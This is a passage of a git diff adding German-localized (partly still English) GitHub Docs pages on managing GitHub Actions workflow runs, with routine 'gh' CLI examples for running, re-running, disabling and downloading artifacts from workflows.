+Du kannst deine Workflows so konfigurieren, dass sie nach einem Zeitplan ausgeführt oder bei einem Ereignis ausgelöst werden. Du kannst deinen Workflow beispielsweise so festlegen, dass er ausgeführt wird, wenn jemand ein Issue in einem Repository erstellt.
+
+Viele Workflowtrigger sind nützlich für die Automatisierung der Projektverwaltung.
+
+- Ein Issue wird geöffnet, zugewiesen oder gekennzeichnet.
+- Einem Issue wird ein Kommentar hinzugefügt.
+- Eine Projektkarte wird erstellt oder verschoben.
+- Eine geplante Uhrzeit.
+
+Eine vollständige Liste der Ereignisse, die Workflows auslösen können, findest du unter [Ereignisse, die Workflows auslösen](/actions/reference/events-that-trigger-workflows).
+
+## Welche Aktionen können von Workflows ausgeführt werden?
+
+Mit Workflows lassen sich viele Aktionen ausführen, z. B. Hinzufügen von Kommentaren zu einem Issue, Hinzufügen oder Entfernen von Bezeichnungen, Verschieben von Karten auf Projektboards und Öffnen von Issues.
+
+In den folgenden Tutorials erfährst du, wie du {% data variables.product.prodname_actions %} für die Projektverwaltung verwendest. Die Tutorials enthalten Beispielworkflows, die du an deine Anforderungen anpassen kannst.
+
+- [Hinzufügen von Bezeichnungen zu Issues](/actions/guides/adding-labels-to-issues)
+- [Entfernen einer Bezeichnung, wenn eine Karte einer Projektboardspalte hinzugefügt wird](/actions/guides/removing-a-label-when-a-card-is-added-to-a-project-board-column)
+- [Verschieben zugewiesener Issues in Projektboards](/actions/guides/moving-assigned-issues-on-project-boards)
+- [Kommentar zu einem Issue, wenn eine Bezeichnung hinzugefügt wird](/actions/guides/commenting-on-an-issue-when-a-label-is-added)
+- [Schließen inaktiver Issues](/actions/guides/closing-inactive-issues)
+- [Planen der Erstellung von Issues](/actions/guides/scheduling-issue-creation)
diff --git a/translations/de-DE/content/actions/managing-workflow-runs/approving-workflow-runs-from-public-forks.md b/translations/de-DE/content/actions/managing-workflow-runs/approving-workflow-runs-from-public-forks.md
new file mode 100644
index 0000000000..a706c1c012
--- /dev/null
+++ b/translations/de-DE/content/actions/managing-workflow-runs/approving-workflow-runs-from-public-forks.md
@@ -0,0 +1,20 @@
+---
+title: Approving workflow runs from public forks
+intro: 'When an outside contributor submits a pull request to a public repository, a maintainer with write access may need to approve any workflow runs.'
+versions:
+  fpt: '*'
+  ghec: '*'
+shortTitle: Approve public fork runs
+---
+
+## About workflow runs from public forks
+
+{% data reusables.actions.workflow-run-approve-public-fork %}
+
+You can configure workflow approval requirements for a [repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#configuring-required-approval-for-workflows-from-public-forks), [organization](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization#configuring-required-approval-for-workflows-from-public-forks), or [enterprise](/enterprise-cloud@latest/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#enforcing-a-policy-for-fork-pull-requests-in-your-enterprise).
+
+Workflow runs that have been awaiting approval for more than 30 days are automatically deleted.
+
+## Approving workflow runs on a pull request from a public fork
+
+{% data reusables.actions.workflows.approve-workflow-runs %}
diff --git a/translations/de-DE/content/actions/managing-workflow-runs/canceling-a-workflow.md b/translations/de-DE/content/actions/managing-workflow-runs/canceling-a-workflow.md
new file mode 100644
index 0000000000..5559bebbfe
--- /dev/null
+++ b/translations/de-DE/content/actions/managing-workflow-runs/canceling-a-workflow.md
@@ -0,0 +1,36 @@
+---
+title: Abbrechen eines Workflows
+intro: 'Du kannst eine laufende Workflowausführung abbrechen. Wenn du eine Workflowausführung abbrichst, bricht {% data variables.product.prodname_dotcom %} alle Aufträge und Schritte ab, die Teil dieses Workflows sind.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+ms.openlocfilehash: f8bf0d06f5e0e37cb120b22a3bd6da39b51b78a9
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145088563'
+---
+{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
+
+{% data reusables.repositories.permissions-statement-write %}
+
+## Einen Workflow-Lauf abbrechen
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow %}
+1. Klicke in der Liste der Workflowausführungen auf den Namen der `queued`- oder `in progress`-Ausführung, die du abbrechen möchtest.
+![Name der Workflowausführung](/assets/images/help/repository/in-progress-run.png)
+1. Klicke in der oberen rechten Ecke des Workflows auf **Workflow abbrechen**.
+![Schaltfläche „Workflow abbrechen“](/assets/images/help/repository/cancel-check-suite-updated.png)
+
+## Schritte, die {% data variables.product.prodname_dotcom %} zum Abbrechen einer Workflowausführung ausführt
+
+Beim Abbrechen der Workflowausführung führst du möglicherweise andere Software aus, die im Zusammenhang mit der Workflowausführung stehende Ressourcen verwendet. Du kannst möglicherweise leichter im Zusammenhang mit der Workflowausführung stehende Ressourcen freigeben, wenn du die Schritte kennst, die {% data variables.product.prodname_dotcom %} ausführt, um eine Workflowausführung abzubrechen.
+
+1. Um die Ausführung des Workflows abzubrechen, bewertet der Server die `if`-Bedingungen für alle derzeit ausgeführten Aufträge neu. Wenn die Bedingung als `true` ausgewertet wird, wird der Auftrag nicht abgebrochen. Wenn z. B. die Bedingung `if: always()` als „true“ ausgewertet wird, wird der Auftrag weiterhin ausgeführt. Wenn keine Bedingung vorhanden ist, entspricht dies der Bedingung `if: success()`, d. h. die Ausführung findet nur bei erfolgreichem Abschluss des vorherigen Schritts statt.
+2. Für Aufträge, die abgebrochen werden müssen, sendet der Server eine Abbruchnachricht an alle Runnercomputer mit Aufträgen, die abgebrochen werden müssen.
+3. Für Aufträge, die weiterhin ausgeführt werden, bewertet der Server die `if`-Bedingungen für die nicht abgeschlossenen Schritte neu. Wenn die Bedingung als `true` ausgewertet wird, wird der Schritt weiterhin ausgeführt.
+4. Für Schritte, die abgebrochen werden müssen, sendet der Runnercomputer `SIGINT/Ctrl-C` an den Einstiegsprozess des Schritts (`node` für Javascript-Aktion, `docker` für Containeraktion und `bash/cmd/pwd` bei Verwendung von `run` in einem Schritt). Wenn der Prozess innerhalb von 7.500 ms nicht beendet wird, sendet der Runner `SIGTERM/Ctrl-Break` an den Prozess. Warte dann 2.500 ms, bis der Prozess beendet wird. Wenn der Prozess noch ausgeführt wird, beendet der Runner die Prozessstruktur.
+5. Nach Ablauf des Abbruch-Timeoutzeitraums von 5 Minuten erzwingt der Server das Beenden aller Aufträge und Schritte, die die Ausführung nicht beenden oder den Abbruchprozess nicht abschließen.
diff --git a/translations/de-DE/content/actions/managing-workflow-runs/deleting-a-workflow-run.md b/translations/de-DE/content/actions/managing-workflow-runs/deleting-a-workflow-run.md
new file mode 100644
index 0000000000..05177c7b25
--- /dev/null
+++ b/translations/de-DE/content/actions/managing-workflow-runs/deleting-a-workflow-run.md
@@ -0,0 +1,26 @@
+---
+title: Eine Workflowausführung löschen
+intro: 'Du kannst eine Workflowausführung löschen, die bereits abgeschlossen wurde oder älter als zwei Wochen ist.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+ms.openlocfilehash: 54e494b2cff73650c0b9d5e46c8ce2772926831f
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145105191'
+---
+{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
+
+{% data reusables.repositories.permissions-statement-write %}
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow %}
+1. Verwende zum Löschen einer Workflowausführung das Dropdownmenü {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, und wähle **Delete workflow run** (Workflowausführung löschen) aus.
+
+    ![Eine Workflowausführung löschen](/assets/images/help/settings/workflow-delete-run.png)
+2. Überprüfe die Bestätigungsaufforderung, und klicke auf **Yes, permanently delete this workflow run** (Ja, diese Workflowausführung endgültig löschen).
+
+    ![Löschbestätigung für Workflowausführung](/assets/images/help/settings/workflow-delete-run-confirmation.png)
diff --git a/translations/de-DE/content/actions/managing-workflow-runs/disabling-and-enabling-a-workflow.md b/translations/de-DE/content/actions/managing-workflow-runs/disabling-and-enabling-a-workflow.md
new file mode 100644
index 0000000000..b1d26e4bd2
--- /dev/null
+++ b/translations/de-DE/content/actions/managing-workflow-runs/disabling-and-enabling-a-workflow.md
@@ -0,0 +1,111 @@
+---
+title: Disabling and enabling a workflow
+intro: 'You can disable and re-enable a workflow using the {% data variables.product.prodname_dotcom %} UI, the REST API, or {% data variables.product.prodname_cli %}.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+shortTitle: Disable & enable a workflow
+---
+
+{% data reusables.actions.enterprise-beta %}
+{% data reusables.actions.enterprise-github-hosted-runners %}
+
+Disabling a workflow allows you to stop a workflow from being triggered without having to delete the file from the repo. You can easily re-enable the workflow again on {% data variables.product.prodname_dotcom %}.
+
+Temporarily disabling a workflow can be useful in many scenarios. These are a few examples where disabling a workflow might be helpful:
+
+- A workflow error that produces too many or wrong requests, impacting external services negatively.
+- A workflow that is not critical and is consuming too many minutes on your account.
+- A workflow that sends requests to a service that is down.
+- Workflows on a forked repository that aren't needed (for example, scheduled workflows).
+
+{% warning %}
+
+**Warning:** {% data reusables.actions.scheduled-workflows-disabled %}
+
+{% endwarning %}
+
+You can also disable and enable a workflow using the REST API. For more information, see the "[Actions REST API](/rest/reference/actions#workflows)."
+
+## Disabling a workflow
+
+{% webui %}
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.actions-tab %}
+1. In the left sidebar, click the workflow you want to disable.
+
+   {% ifversion workflow-nav-2022 -%}
+   ![Actions select workflow](/assets/images/help/repository/actions-select-workflow-2022.png)
+   {%- else -%}
+   ![Actions select workflow](/assets/images/help/repository/actions-select-workflow.png)
+   {%- endif %}
+1. Click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}.
+
+   {% ifversion workflow-nav-2022 -%}
+   ![actions kebab menu](/assets/images/help/repository/actions-workflow-menu-kebab-2022.png)
+   {%- else -%}
+   ![Actions kebab menu](/assets/images/help/repository/actions-workflow-menu-kebab.png)
+   {%- endif %}
+1. Click **Disable workflow**.
+
+   {% ifversion workflow-nav-2022 -%}
+   ![actions disable workflow](/assets/images/help/repository/actions-disable-workflow-2022.png)
+   {%- else -%}
+   ![actions disable workflow](/assets/images/help/repository/actions-disable-workflow.png)
+
+   The disabled workflow is marked {% octicon "stop" aria-label="The stop icon" %} to indicate its status.
+
+   ![actions list disabled workflow](/assets/images/help/repository/actions-find-disabled-workflow.png)
+   {%- endif %}
+
+{% endwebui %}
+
+{% cli %}
+
+{% data reusables.cli.cli-learn-more %}
+
+To disable a workflow, use the `workflow disable` subcommand. Replace `workflow` with either the name, ID, or file name of the workflow you want to disable. For example, `"Link Checker"`, `1234567`, or `"link-check-test.yml"`. If you don't specify a workflow, {% data variables.product.prodname_cli %} returns an interactive menu for you to choose a workflow.
+
+```shell
+gh workflow disable WORKFLOW
+```
+
+{% endcli %}
+
+## Enabling a workflow
+
+{% webui %}
+
+You can re-enable a workflow that was previously disabled.
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.actions-tab %}
+1. In the left sidebar, click the workflow you want to enable.
+
+   {% ifversion workflow-nav-2022 -%}
+   ![Actions select disabled workflow](/assets/images/help/repository/actions-select-disabled-workflow-2022.png)
+   {%- else -%}
+   ![Actions select disabled workflow](/assets/images/help/repository/actions-select-disabled-workflow.png)
+   {%- endif %}
+1. Click **Enable workflow**.
+
+   {% ifversion workflow-nav-2022 -%}
+   ![Actions enable workflow](/assets/images/help/repository/actions-enable-workflow-2022.png)
+   {%- else -%}
+   ![Actions enable workflow](/assets/images/help/repository/actions-enable-workflow.png)
+   {%- endif %}
+
+{% endwebui %}
+
+{% cli %}
+
+To enable a workflow, use the `workflow enable` subcommand. Replace `workflow` with either the name, ID, or file name of the workflow you want to enable. For example, `"Link Checker"`, `1234567`, or `"link-check-test.yml"`. If you don't specify a workflow, {% data variables.product.prodname_cli %} returns an interactive menu for you to choose a workflow.
+
+```shell
+gh workflow enable WORKFLOW
+```
+
+{% endcli %}
diff --git a/translations/de-DE/content/actions/managing-workflow-runs/downloading-workflow-artifacts.md b/translations/de-DE/content/actions/managing-workflow-runs/downloading-workflow-artifacts.md
new file mode 100644
index 0000000000..e55020d81c
--- /dev/null
+++ b/translations/de-DE/content/actions/managing-workflow-runs/downloading-workflow-artifacts.md
@@ -0,0 +1,64 @@
+---
+title: Herunterladen von Workflowartefakten
+intro: 'Du kannst archivierte Artefakte herunterladen, ehe sie automatisch ablaufen.'
+permissions: 'People who are signed into {% data variables.product.product_name %} and have read access to a repository can download workflow artifacts.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+shortTitle: Download workflow artifacts
+ms.openlocfilehash: dcb2d97095f6cdd704207084b776db05a4d1bd44
+ms.sourcegitcommit: d82f268a6f0236d1f4d2bf3d049974ada0170402
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/10/2022
+ms.locfileid: '148160632'
+---
+{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
+
+Standardmäßig speichert {% data variables.product.product_name %} Buildprotokolle und Artefakte 90 Tage lang, und du kannst diesen Aufbewahrungszeitraum je nach Repositorytyp anpassen. Weitere Informationen findest du unter [Verwalten von {% data variables.product.prodname_actions %}-Einstellungen für ein Repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-repository).
+
+{% data reusables.repositories.permissions-statement-read %}
+
+{% webui %}
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %}
+1. Klicke unter **Artefakte** auf das Artefakt, das du herunterladen möchtest.
+    
+    ![Dropdown-Menü zum Herunterladen von Artefakten](/assets/images/help/repository/artifact-drop-down-updated.png)
+    
+
+{% endwebui %}
+
+{% cli %}
+
+{% data reusables.cli.cli-learn-more %}
+
+{% data variables.product.prodname_cli %} lädt jedes Artefakt basierend auf dem Artefaktnamen in separate Verzeichnisse herunter. Bei Angabe eines einzelnen Artefakts wird dieses in das aktuelle Verzeichnis extrahiert.
+
+Um alle von einer Workflowausführung generierten Artefakte herunterzuladen, verwende den Unterbefehl `run download`. Ersetze `run-id` durch die ID der Ausführung, aus der du Artefakte herunterladen möchtest. Wenn du keine `run-id` angibst, gibt {% data variables.product.prodname_cli %} ein interaktives Menü zurück, in dem du eine der letzten Ausführungen auswählen kannst.
+
+```shell
+gh run download RUN_ID
+```
+
+Um ein bestimmtes Artefakte aus einer Ausführung herunterzuladen, verwende den Unterbefehl `run download`. Ersetze `run-id` durch die ID der Ausführung, aus der du Artefakte herunterladen möchtest. Ersetze `artifact-name` durch den Namen des Artefakts, das du herunterladen möchtest.
+
+```shell
+gh run download RUN_ID -n ARTIFACT_NAME
+```
+
+Du kannst mehrere Artefakte angeben.
+
+```shell
+gh run download RUN_ID> -n ARTIFACT_NAME-1 -n ARTIFACT_NAME-2
+```
+
+Um bestimmte Artefakte aus allen Ausführungen in einem Repository herunterzuladen, verwende den Unterbefehl `run download`.
+
+```shell
+gh run download -n ARTIFACT_NAME-1 ARTIFACT_NAME-2
+```
+
+{% endcli %}
diff --git a/translations/de-DE/content/actions/managing-workflow-runs/index.md b/translations/de-DE/content/actions/managing-workflow-runs/index.md
new file mode 100644
index 0000000000..504cdaf5cd
--- /dev/null
+++ b/translations/de-DE/content/actions/managing-workflow-runs/index.md
@@ -0,0 +1,35 @@
+---
+title: Verwalten von Workflowausführungen
+shortTitle: Manage workflow runs
+intro: 'Du kannst einen Workflow wiederholen oder abbrechen, {% ifversion fpt or ghes or ghae %}Bereitstellungen überprüfen, {% endif %}die abrechenbaren Minuten für die Auftragsausführung einsehen und Artefakte herunterladen.'
+redirect_from:
+  - /actions/configuring-and-managing-workflows/managing-a-workflow-run
+  - /articles/managing-a-workflow-run
+  - /github/automating-your-workflow-with-github-actions/managing-a-workflow-run
+  - /actions/automating-your-workflow-with-github-actions/managing-a-workflow-run
+  - /actions/configuring-and-managing-workflows/configuring-and-managing-workflow-files-and-runs
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+children:
+  - /manually-running-a-workflow
+  - /re-running-workflows-and-jobs
+  - /canceling-a-workflow
+  - /approving-workflow-runs-from-public-forks
+  - /approving-workflow-runs-from-private-forks
+  - /reviewing-deployments
+  - /disabling-and-enabling-a-workflow
+  - /skipping-workflow-runs
+  - /deleting-a-workflow-run
+  - /downloading-workflow-artifacts
+  - /removing-workflow-artifacts
+ms.openlocfilehash: 9e7d6f9c29fdfb2a387b84373c1140dbb3ef6713
+ms.sourcegitcommit: 73b91dd4cdf592eadec4252319379d6fbe92858e
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/14/2022
+ms.locfileid: '148164090'
+---
+{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
diff --git a/translations/de-DE/content/actions/managing-workflow-runs/manually-running-a-workflow.md b/translations/de-DE/content/actions/managing-workflow-runs/manually-running-a-workflow.md
new file mode 100644
index 0000000000..f08d3af422
--- /dev/null
+++ b/translations/de-DE/content/actions/managing-workflow-runs/manually-running-a-workflow.md
@@ -0,0 +1,87 @@
+---
+title: Manually running a workflow
+intro: 'When a workflow is configured to run on the `workflow_dispatch` event, you can run the workflow using the Actions tab on {% data variables.product.prodname_dotcom %}, {% data variables.product.prodname_cli %}, or the REST API.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+shortTitle: Manually run a workflow
+---
+
+{% data reusables.actions.enterprise-beta %}
+{% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Configuring a workflow to run manually
+
+To run a workflow manually, the workflow must be configured to run on the `workflow_dispatch` event. To trigger the `workflow_dispatch` event, your workflow must be in the default branch. For more information about configuring the `workflow_dispatch` event, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows#workflow_dispatch)".
+
+{% data reusables.repositories.permissions-statement-write %}
+
+## Running a workflow
+
+{% webui %}
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.actions-tab %}
+1. In the left sidebar, click the workflow you want to run.
+
+   {% ifversion workflow-nav-2022 -%}
+   ![Actions select workflow](/assets/images/help/repository/actions-select-workflow-2022.png)
+   {%- else -%}
+   ![Actions select workflow](/assets/images/help/repository/actions-select-workflow.png)
+   {%- endif %}
+1. Above the list of workflow runs, select **Run workflow**.
+![actions workflow dispatch](/assets/images/actions-workflow-dispatch.png)
+1. Use the **Branch** dropdown to select the workflow's branch, and type the input parameters. Click **Run workflow**.
+![actions manually run workflow](/assets/images/actions-manually-run-workflow.png)
+
+{% endwebui %}
+
+{% cli %}
+
+{% data reusables.cli.cli-learn-more %}
+
+To run a workflow, use the `workflow run` subcommand. Replace the `workflow` parameter with either the name, ID, or file name of the workflow you want to run. For example, `"Link Checker"`, `1234567`, or `"link-check-test.yml"`. If you don't specify a workflow, {% data variables.product.prodname_cli %} returns an interactive menu for you to choose a workflow.
+
+```shell
+gh workflow run WORKFLOW
+```
+
+If your workflow accepts inputs, {% data variables.product.prodname_cli %} will prompt you to enter them. Alternatively, you can use `-f` or `-F` to add an input in `key=value` format. Use `-F` to read from a file.
+
+```shell
+gh workflow run greet.yml -f name=mona -f greeting=hello -F data=@myfile.txt
+```
+
+You can also pass inputs as JSON by using standard input.
+
+```shell
+echo '{"name":"mona", "greeting":"hello"}' | gh workflow run greet.yml --json
+```
+
+To run a workflow on a branch other than the repository's default branch, use the `--ref` flag.
+
+```shell
+gh workflow run WORKFLOW --ref BRANCH
+```
+
+To view the progress of the workflow run, use the `run watch` subcommand and select the run from the interactive list.
+
+```shell
+gh run watch
+```
+
+{% endcli %}
+
+## Running a workflow using the REST API
+
+When using the REST API, you configure the `inputs` and `ref` as request body parameters. If the inputs are omitted, the default values defined in the workflow file are used.
+
+{% note %}
+
+**Note:** You can define up to 10 `inputs` for a `workflow_dispatch` event.
+
+{% endnote %}
+
+For more information about using the REST API, see the "[Create a workflow dispatch event](/rest/reference/actions/#create-a-workflow-dispatch-event)."
diff --git a/translations/de-DE/content/actions/managing-workflow-runs/re-running-workflows-and-jobs.md b/translations/de-DE/content/actions/managing-workflow-runs/re-running-workflows-and-jobs.md
new file mode 100644
index 0000000000..bc4413c311
--- /dev/null
+++ b/translations/de-DE/content/actions/managing-workflow-runs/re-running-workflows-and-jobs.md
@@ -0,0 +1,175 @@
+---
+title: Re-running workflows and jobs
+shortTitle: Re-run workflows and jobs
+intro: 'You can re-run a workflow run{% ifversion re-run-jobs %}, all failed jobs in a workflow run, or specific jobs in a workflow run{% endif %} up to 30 days after its initial run.'
+permissions: People with write permissions to a repository can re-run workflows in the repository.
+miniTocMaxHeadingLevel: 3
+redirect_from:
+  - /actions/managing-workflow-runs/re-running-a-workflow
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+---
+
+{% data reusables.actions.enterprise-beta %}
+{% data reusables.actions.enterprise-github-hosted-runners %}
+
+## About re-running workflows and jobs
+
+Re-running a workflow{% ifversion re-run-jobs %} or jobs in a workflow{% endif %} uses the same `GITHUB_SHA` (commit SHA) and `GITHUB_REF` (Git ref) of the original event that triggered the workflow run. {% ifversion actions-stable-actor-ids %}The workflow will use the privileges of the actor who initially triggered the workflow, not the privileges of the actor who initiated the re-run. {% endif %}You can re-run a workflow{% ifversion re-run-jobs %} or jobs in a workflow{% endif %} for up to 30 days after the initial run.{% ifversion re-run-jobs %} You cannot re-run jobs in a workflow once its logs have passed their retention limits. For more information, see "[Usage limits, billing, and administration](/actions/learn-github-actions/usage-limits-billing-and-administration#artifact-and-log-retention-policy)."{% endif %}{% ifversion debug-reruns %} When you re-run a workflow or jobs in a workflow, you can enable debug logging for the re-run. This will enable runner diagnostic logging and step debug logging for the re-run. For more information about debug logging, see "[Enabling debug logging](/actions/monitoring-and-troubleshooting-workflows/enabling-debug-logging)."{% endif %}
+
+## Re-running all the jobs in a workflow
+
+{% webui %}
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.actions-tab %}
+{% data reusables.repositories.navigate-to-workflow %}
+{% data reusables.repositories.view-run %}
+{% ifversion fpt or ghes > 3.4 or ghae or ghec -%}
+1. In the upper-right corner of the workflow, use the **{% octicon "sync" aria-label="The sync icon" %} Re-run jobs** drop-down menu, and select **Re-run all jobs**.
+
+   If no jobs failed, you will not see the **{% octicon "sync" aria-label="The sync icon" %} Re-run jobs** drop-down menu. Instead, click **Re-run all jobs**.
+
+   ![Rerun checks drop-down menu](/assets/images/help/repository/rerun-checks-drop-down.png)
+{%- endif %}
+{% ifversion ghes < 3.5 or ghae -%}
+1. In the upper-right corner of the workflow, use the **Re-run jobs** drop-down menu, and select **Re-run all jobs**.
+
+   ![Re-run checks drop-down menu](/assets/images/help/repository/rerun-checks-drop-down-updated.png)
+{%- endif %}
+{% data reusables.actions.enable-debug-logging %}
+
+{% endwebui %}
+
+{% cli %}
+
+{% data reusables.cli.cli-learn-more %}
+
+To re-run a failed workflow run, use the `run rerun` subcommand. Replace `run-id` with the ID of the failed run that you want to re-run.  If you don't specify a `run-id`, {% data variables.product.prodname_cli %} returns an interactive menu for you to choose a recent failed run.
+
+```shell
+gh run rerun RUN_ID
+```
+
+{% ifversion debug-reruns %}
+{% data reusables.actions.enable-debug-logging-cli %}
+
+```shell
+gh run rerun RUN_ID --debug
+```
+
+{% endif %}
+
+To view the progress of the workflow run, use the `run watch` subcommand and select the run from the interactive list.
+
+```shell
+gh run watch
+```
+
+{% endcli %}
+
+{% ifversion re-run-jobs %}
+## Re-running failed jobs in a workflow
+
+If any jobs in a workflow run failed, you can re-run just the jobs that failed. When you re-run failed jobs in a workflow, a new workflow run will start for all failed jobs and their dependents. Any outputs for any successful jobs in the previous workflow run will be used for the re-run. Any artifacts that were created in the initial run will be available in the re-run. Any environment protection rules that passed in the previous run will automatically pass in the re-run.
+
+{% webui %}
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.actions-tab %}
+{% data reusables.repositories.navigate-to-workflow %}
+{% data reusables.repositories.view-run %}
+1. In the upper-right corner of the workflow, use the **{% octicon "sync" aria-label="The sync icon" %} Re-run jobs** drop-down menu, and select **Re-run failed jobs**.
+
+   ![Rerun checks drop-down menu](/assets/images/help/repository/rerun-checks-drop-down.png)
+{% data reusables.actions.enable-debug-logging %}
+
+{% endwebui %}
+
+{% cli %}
+
+To re-run failed jobs in a workflow run, use the `run rerun` subcommand with the `--failed` flag. Replace `run-id` with the ID of the run for which you want to re-run failed jobs. If you don't specify a `run-id`, {% data variables.product.prodname_cli %} returns an interactive menu for you to choose a recent failed run.
+
+```shell
+gh run rerun RUN_ID --failed
+```
+
+{% ifversion debug-reruns %}
+{% data reusables.actions.enable-debug-logging-cli %}
+
+```shell
+gh run rerun RUN_ID --failed --debug
+```
+
+{% endif %}
+{% endcli %}
+
+## Re-running a specific job in a workflow
+
+When you re-run a specific job in a workflow, a new workflow run will start for the job and any dependents. Any outputs for any other jobs in the previous workflow run will be used for the re-run. Any artifacts that were created in the initial run will be available in the re-run. Any environment protection rules that passed in the previous run will automatically pass in the re-run.
+
+{% webui %}
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.actions-tab %}
+{% data reusables.repositories.navigate-to-workflow %}
+{% data reusables.repositories.view-run %}
+1. Next to the job that you want to re-run, click {% octicon "sync" aria-label="The re-run icon" %}.
+   ![Re-run selected job](/assets/images/help/repository/re-run-selected-job.png)
+
+   Alternatively, click on a job to view the log. In the log, click {% octicon "sync" aria-label="The re-run icon" %}.
+   ![Re-run selected job](/assets/images/help/repository/re-run-single-job-from-log.png)
+{% data reusables.actions.enable-debug-logging %}
+
+{% endwebui %}
+
+{% cli %}
+
+To re-run a specific job in a workflow run, use the `run rerun` subcommand with the `--job` flag. Replace `job-id` with the ID of the job that you want to re-run.
+
+```shell
+gh run rerun --job JOB_ID
+```
+
+{% ifversion debug-reruns %}
+{% data reusables.actions.enable-debug-logging-cli %}
+
+```shell
+gh run rerun --job JOB_ID --debug
+```
+
+{% endif %}
+{% endcli %}
+
+{% endif %}
+
+{% ifversion partial-reruns-with-reusable %}
+
+## Re-running workflows and jobs with reusable workflows
+
+{% data reusables.actions.partial-reruns-with-reusable %}
+
+{% endif %}
+
+{% ifversion fpt or ghes > 3.4 or ghae or ghec %}
+## Reviewing previous workflow runs
+
+You can view the results from your previous attempts at running a workflow. You can also view previous workflow runs using the API. For more information, see ["Get a workflow run"](/rest/reference/actions#get-a-workflow-run).
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.actions-tab %}
+{% data reusables.repositories.navigate-to-workflow %}
+{% data reusables.repositories.view-run %}
+{%- ifversion re-run-jobs %}
+1. Any previous run attempts are shown in the **Latest** drop-down menu.
+   ![Previous run attempts](/assets/images/help/repository/previous-run-attempts.png)
+{%- else %}
+1. Any previous run attempts are shown in the left pane.
+    ![Rerun workflow](/assets/images/help/settings/actions-review-workflow-rerun.png)
+{%- endif %}
+1. Click an entry to view its results.
+
+{% endif %}
diff --git a/translations/de-DE/content/actions/managing-workflow-runs/removing-workflow-artifacts.md b/translations/de-DE/content/actions/managing-workflow-runs/removing-workflow-artifacts.md
new file mode 100644
index 0000000000..0a503c9d09
--- /dev/null
+++ b/translations/de-DE/content/actions/managing-workflow-runs/removing-workflow-artifacts.md
@@ -0,0 +1,45 @@
+---
+title: Entfernen von Workflowartefakten
+intro: 'Du kannst genutzten {% data variables.product.prodname_actions %}-Speicher freigeben, indem du Artefakte löschst, bevor sie am {% data variables.product.product_name %} ablaufen.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+shortTitle: Remove workflow artifacts
+ms.openlocfilehash: e5fe2bb21f72785f55d22fffd9ba46420d791fce
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '146199802'
+---
+{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Löschen eines Artefakts
+
+{% warning %}
+
+**Warnung:** Sobald du ein Artefakt gelöscht hast, kann es nicht mehr wiederhergestellt werden.
+
+{% endwarning %}
+
+{% data reusables.repositories.permissions-statement-write %}
+
+{% data reusables.actions.artifact-log-retention-statement %}
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %}
+1. Klicke unter **Artefakte** auf {% octicon "trash" aria-label="The trash icon" %} neben dem Artefakt, das du entfernen möchtest.
+    
+    ![Dropdown-Menü zum Löschen von Artefakten](/assets/images/help/repository/actions-delete-artifact-updated.png)
+    
+
+## Festlegen des Aufbewahrungszeitraums für ein Artefakt
+
